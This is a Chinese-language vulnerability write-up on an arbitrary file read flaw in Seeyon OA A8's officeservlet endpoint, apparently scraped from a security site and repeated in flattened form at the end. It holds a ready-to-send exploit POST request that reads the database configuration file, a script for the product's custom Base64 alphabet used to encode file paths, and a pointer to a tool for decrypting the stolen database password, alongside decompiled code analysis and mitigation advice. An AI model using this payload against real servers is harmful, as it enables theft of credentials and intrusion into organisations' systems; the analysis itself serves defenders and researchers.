致远OA A8-V5 任意文件读取漏洞分析
字数 1030 2025-08-23 18:31:09

致远OA A8-V5 任意文件读取漏洞分析与利用

漏洞概述

致远OA A8-V5版本存在一个任意文件读取漏洞,攻击者可以通过构造特殊的HTTP请求读取服务器上的任意文件,包括数据库配置文件等敏感信息。

漏洞环境

  • 受影响版本:致远A8 V7.0及之前版本

漏洞利用

读取数据库配置文件

通过构造特殊的POST请求,可以读取./../../base/conf/datasourceCtp.properties路径下的数据库配置文件:

POST /seeyon/officeservlet HTTP/1.1
Host: 10.0.103.21
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=98FCAEBB95CCBEB2C7209BEF7EAA7B3E; loginPageURL=
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 350

DBSTEP V3.0     285             0               0               RECORDID=wLoi CREATEDATE=wLehP4whzUoiw=66 originalFileId=wLoi needReadFile=yRWZdAS6 originalCreateDate=wLehP4whzUoiw=66 OPTION=LKDxOWOWLlxwVlOW TEMPLATE=qf85qf85qfDfeazQqAzvcRevy1W3eazvNaMUySz3d7TsdRDsyaM3nYli COMMAND=BSTLOlMSOCQwOV66 affairMemberId=wLoi affairMemberName=wLoi

数据库密码解密

读取出的数据库密码通常为类似/1.0/VWZ0dTIzNC8=的加密格式,可以使用以下工具解密:

  1. 解密工具GitHub地址:https://github.com/Rvn0xsy/PassDecode-jar

漏洞分析

漏洞入口

漏洞利用的请求路径为/seeyon/officeservlet,对应的处理类为com.seeyon.ctp.common.office.OfficeServlet

关键代码分析

  1. 请求处理入口

    public class OfficeServlet extends HttpServlet {
        public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
            // 初始化环境
            handWriteManager.readVariant(request, msgObj);
            String option = msgObj.GetMsgByName("OPTION");
            if ("LOADFILE".equalsIgnoreCase(option)) {
                handWriteManager.LoadFile(msgObj);
            } else if ("LOADTEMPLATE".equalsIgnoreCase(option)) {
                handWriteManager.taoHong(msgObj);  // 漏洞触发点
            }
            // 其他处理逻辑...
            handWriteManager.sendPackage(response, msgObj);
        }
    }
    
  2. 请求解析过程

    • handWriteManager.readVariant(request, msgObj)调用msgObj.ReadPackage(request)解析请求
    • ReadPackage方法读取HTTP请求体到this.FStream属性
    • 调用this.StreamToMsg()方法解析请求体
  3. 请求体解析关键代码

    private boolean StreamToMsg() {
        // 读取http请求体中前64位
        String var1 = new String(this.FStream, var14, var2);
        // 0-15位为版本号
        this.FVersion = var1.substring(0, 15);
        // 16-31位为this.FMsgText的长度
        int var11 = Integer.parseInt(var1.substring(16, 31).trim());
        // 32-47位为this.FError的长度
        int var12 = Integer.parseInt(var1.substring(32, 47).trim());
        // 48-63位为this.FMsgFile的长度
        int var13 = Integer.parseInt(var1.substring(48, 63).trim());
    
        // 从64位开始读取var11长度的内容到this.FMsgText
        if (var11 > 0) {
            this.FMsgText = new String(this.FStream, var14, var11);
        }
        // 其他内容读取...
    }
    
  4. 参数获取方法

    public String GetMsgByName(String var1) {
        String var6 = var1.trim().concat("=");
        int var7 = this.FMsgText.indexOf(var6);
        if (var7 != -1) {
            int var8 = this.FMsgText.indexOf("\r\n", var7 + 1);
            var7 += var6.length();
            if (var8 != -1) {
                String var5 = this.FMsgText.substring(var7, var8);
                var4 = this.DecodeBase64(var5);  // 使用变种BASE64解码
                return var4;
            }
        }
        return "";
    }
    
  5. 文件读取关键方法

    public boolean MsgFileLoad(String var1) {
        File var2 = new File(var1);
        this.FMsgFile = new byte[(int)var2.length()];
        FileInputStream var5 = new FileInputStream(var2);
        // 读取文件内容到this.FMsgFile
        for (int var4 = 0; var4 < var3; var4 += var5.read(this.FMsgFile, var4, var3 - var4)) {
        }
        var5.close();
        this.FFileSize = var3;
        return true;
    }
    
  6. 响应返回过程

    public void sendPackage(HttpServletResponse response, iMsgServer2000 msgObj) {
        msgObj.SendPackage(response);
    }
    
    public void SendPackage(HttpServletResponse response) {
        this.MsgVariant();
        // 将this.FStream内容写入响应
    }
    
    public byte[] MsgVariant() {
        this.MsgToStream();
        return this.FStream;
    }
    
    public void MsgToStream() {
        // 将FMsgText、FError和FMsgFile内容组合到FStream中
    }
    

变种BASE64算法

致远OA使用了一种变种的BASE64编码算法,加解密脚本如下:

var a = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";
var b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

function a2b(v) {
    for (var i = 0; i < a.length; i++) {
        if (a[i] == v) {
            return b[i];
        }
    }
}

function b2a(v) {
    for (var i = 0; i < b.length; i++) {
        if (b[i] == v) {
            return a[i];
        }
    }
}

// 加密示例
function encode(str) {
    var result = "";
    for (var i = 0; i < str.length; i++) {
        result += b2a(str[i]);
    }
    return result;
}

// 解密示例
function decode(str) {
    var result = "";
    for (var i = 0; i < str.length; i++) {
        result += a2b(str[i]);
    }
    return result;
}

漏洞利用原理

  1. 攻击者构造特殊的HTTP请求,通过OPTION=LOADTEMPLATE触发taoHong方法
  2. 系统从请求体中解析出TEMPLATE参数(文件路径)
  3. 使用变种BASE64解码文件路径
  4. 调用MsgFileLoad方法读取指定文件内容
  5. 文件内容通过HTTP响应返回给攻击者

防护建议

  1. 升级到最新版本,官方已发布修复补丁
  2. /seeyon/officeservlet接口进行访问控制
  3. 监控系统日志,检测异常文件读取行为
  4. 定期检查服务器上的敏感文件权限设置

总结

该漏洞利用致远OA对HTTP请求体解析不当以及文件读取功能缺乏足够的安全检查,导致攻击者可以读取服务器上的任意文件。通过分析请求处理流程和参数解析机制,可以构造特定的恶意请求实现文件读取。

致远OA A8-V5 任意文件读取漏洞分析与利用 漏洞概述 致远OA A8-V5版本存在一个任意文件读取漏洞,攻击者可以通过构造特殊的HTTP请求读取服务器上的任意文件,包括数据库配置文件等敏感信息。 漏洞环境 受影响版本:致远A8 V7.0及之前版本 漏洞利用 读取数据库配置文件 通过构造特殊的POST请求,可以读取 ./../../base/conf/datasourceCtp.properties 路径下的数据库配置文件: 数据库密码解密 读取出的数据库密码通常为类似 /1.0/VWZ0dTIzNC8= 的加密格式,可以使用以下工具解密: 解密工具GitHub地址:https://github.com/Rvn0xsy/PassDecode-jar 漏洞分析 漏洞入口 漏洞利用的请求路径为 /seeyon/officeservlet ,对应的处理类为 com.seeyon.ctp.common.office.OfficeServlet 。 关键代码分析 请求处理入口 : 请求解析过程 : handWriteManager.readVariant(request, msgObj) 调用 msgObj.ReadPackage(request) 解析请求 ReadPackage 方法读取HTTP请求体到 this.FStream 属性 调用 this.StreamToMsg() 方法解析请求体 请求体解析关键代码 : 参数获取方法 : 文件读取关键方法 : 响应返回过程 : 变种BASE64算法 致远OA使用了一种变种的BASE64编码算法,加解密脚本如下: 漏洞利用原理 攻击者构造特殊的HTTP请求,通过 OPTION=LOADTEMPLATE 触发 taoHong 方法 系统从请求体中解析出 TEMPLATE 参数(文件路径) 使用变种BASE64解码文件路径 调用 MsgFileLoad 方法读取指定文件内容 文件内容通过HTTP响应返回给攻击者 防护建议 升级到最新版本,官方已发布修复补丁 对 /seeyon/officeservlet 接口进行访问控制 监控系统日志,检测异常文件读取行为 定期检查服务器上的敏感文件权限设置 总结 该漏洞利用致远OA对HTTP请求体解析不当以及文件读取功能缺乏足够的安全检查,导致攻击者可以读取服务器上的任意文件。通过分析请求处理流程和参数解析机制,可以构造特定的恶意请求实现文件读取。